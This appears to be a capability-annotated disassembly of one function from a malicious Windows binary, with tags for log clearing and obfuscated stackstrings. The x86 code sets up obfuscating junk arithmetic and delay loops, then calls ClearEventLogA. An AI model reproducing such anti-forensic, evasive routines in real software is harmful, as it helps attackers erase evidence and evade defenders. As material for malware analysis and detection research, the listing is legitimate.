Function at 0x404159
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x490
push esi
push edi
mov dword [ebp - 8], 0x19ac1f2e
mov dword [ebp - 4], 0x5f95acd9
mov dword [ebp - 0xc], 0x5180829b
mov dword [ebp - 0x10], 0x1ccc377c
mov dword [ebp - 0x30], 0x43b29a2c
mov dword [ebp - 0x20], 0x1109f3d1
mov dword [ebp - 0x28], 0x5c4aae1a
mov dword [ebp - 0x18], 0x4e757e39
mov dword [ebp - 0x14], 0x7ea84dc7
mov dword [ebp - 0x1c], 0x2462bc31
mov dword [ebp - 0x7c], 0x149c7692
mov dword [ebp - 0x74], 0x400db490
mov dword [ebp - 0x24], 0x127c64a9
mov dword [ebp - 0x5c], 0x181f5526
mov dword [ebp - 0x4c], 0x1ec81a5f
mov dword [ebp - 0x2c], 0x5ed76764
mov dword [ebp - 0x84], 0x75e92202
mov dword [ebp - 0x34], 0x6d5308bd
mov dword [ebp - 0x44], 0x511cf560
mov dword [ebp - 0x48], 0xe8ef72
mov dword [ebp - 0x64], 0x1a54711e
mov dword [ebp - 0x50], 0x5a35f7f1
mov dword [ebp - 0x6c], 0x17d5ded
mov dword [ebp - 0x90], 0x6dbcdfc1
mov dword [ebp - 0x40], 0x32f16b60
mov dword [ebp - 0x3c], 0x736f2545
mov dword [ebp - 0x54], 0x7218196c
mov dword [ebp - 0x58], 0x2d6c3c3f
mov dword [ebp - 0x38], 0x1127fcf7
mov dword [ebp - 0x60], 0x1b69b247
mov dword [ebp - 0x68], 0x1e24a7dd
mov dword [ebp - 0x70], 0x6953e4fd
mov dword [ebp - 0x78], 0x1a593632
mov dword [ebp - 0x80], 0x5939a991
mov dword [ebp - 0x88], 0x42b93e0
mov eax, 0x4db83974
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 8], 0x325454c1
sub dword [ebp - 8], 0xf1df4e8
add dword [ebp - 8], 0x70c5dd15
sub dword [ebp - 4], 0x106bceeb
add dword [ebp - 4], 0x105522f3
sub dword [ebp - 4], 0x3e69267a
add dword [ebp - 0x10], 0x645c0756
sub dword [ebp - 8], 0x5989193b
add dword [ebp - 4], 0x69b02dab
mov eax, 0x174226b
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 0xc], 0x4441c554
add dword [ebp - 0x30], 0x402a380d
mov eax, 0x7ac405eb
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x363c5938
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add dword [ebp - 0xc], 0xd8f4c89
add dword [ebp - 0x10], 0x5fca7cf4
sub dword [ebp - 0x20], 0x185911a7
add dword [ebp - 0x18], 0x49d2af4
add dword [ebp - 0x28], 0x37bb66ea
add dword [ebp - 0xc], 0x21870240
mov eax, 0x38cdd83d
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 4], 0x7411751a
mov eax, 0x79bb7a31
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x28], 0x6e184dff
add dword [ebp - 0x18], 0x39e28f6c
mov eax, 0x11f51bb9
mul dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
sub dword [ebp - 0x14], 0x1f7f13d7
sub dword [ebp - 0x14], 0x60106b11
sub dword [ebp - 0x10], 0x39c630b1
add dword [ebp - 0x1c], 0x5edc9f0f
sub dword [ebp - 0xc], 0x73f34f3f
mov eax, 0x5a52a8ff
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x6d2d823c
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
sub dword [ebp - 8], 0x2fa0f88f
sub dword [ebp - 0x30], 0x42a6017c
add dword [ebp - 0x10], 0x5f04d22b
add dword [ebp - 4], 0xf3060f4
add dword [ebp - 0x1c], 0x4ddedd50
mov eax, 0x22f0de27
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x6d7066c8
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x24], 0x41ad4585
sub dword [ebp - 0x34], 0x43f94165
mov eax, 0x32306a9f
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, 0x1292f0b0
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, 0x1a116a6f
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x2c], 0x7104dc19
add dword [ebp - 0x48], 0x2d4583f6
mov eax, 0x66a76c53
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0x3c], 0x786f44d1
sub dword [ebp - 0x20], 0x5239d75f
sub dword [ebp - 0x24], 0x34bb77a0
sub dword [ebp - 0x38], 0x13066554
sub dword [ebp - 0x4c], 0x1a0ee67b
sub dword [ebp - 0x34], 0x2d8650a5
xor edi, edi
mov esi, edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, 0xb8615b
jg 0x40443d
inc esi
cmp esi, 0x1e70dee2
jl 0x404423
cmp dword [0x6878c4], 0x400
jne 0x4044a5
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push edi
push edi
call sub.USER32.dll_DdeCmpStringHandles
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
push edi
call fcn.0040601e
push edi
push edi
call fcn.0040601e
push 0x41b2c0
push str.0.txt
push edi
call fcn.0040615a
push edi
push edi
push edi
call fcn.0040622e
add esp, 0x20
xorps xmm0, xmm0
movsd qword [esp], xmm0
call fcn.00404137
push edi
fstp st(0)
call fcn.00406011
add esp, 0xc
mov esi, edi
push edi
lea eax, [ebp - 0x490]
push eax
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x58bc14
jle 0x4044d9
cmp dword [ebp - 0x88], 0x7a45f535
jne 0x4044e2
inc esi
cmp esi, 0xe154
jl 0x4044a7
mov eax, dword [0x450b64]
mov dword [0x6878c4], eax
call fcn.00402e80
mov esi, 0x3078f
cmp dword [0x6878c4], 0x51f
jne 0x404510
push edi
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec esi
jne 0x4044f6
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10